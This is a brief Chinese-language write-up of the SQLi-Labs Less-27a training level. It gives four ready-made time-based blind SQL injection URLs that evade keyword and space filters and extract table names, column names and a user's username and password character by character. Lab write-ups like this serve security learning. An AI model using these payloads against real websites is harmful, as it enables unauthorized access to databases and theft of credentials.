sqlilabs-27a

又是盲注，只需要把 26a 关卡 payload 改改就可以用了，这一关把报错信息给过滤了，所以报错注入用不了：

–查表
http://sqlilabs/Less-27a/?id=1"and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))=117,sleep(5),0))and"1"="1

–查列
http://sqlilabs/Less-27a/?id=1"and(if(ascii(substr((SeLect(column_name)from(information_schema.columns)where(table_schema=database())and(table_name='users')and(ordinal_position=1)),1,1))=105,sleep(5),0))and"1"="1

–查数据
http://sqlilabs/Less-27a/?id=1"and(if(ascii((substr((SeLect(username)from(users)where(id=1)),1,1)))=68,sleep(5),0))and"1"="1

http://sqlilabs/Less-27a/?id=1"and(if(ascii((substr((SeLect(password)from(users)where(id=1)),1,1)))=68,sleep(5),0))and"1"="1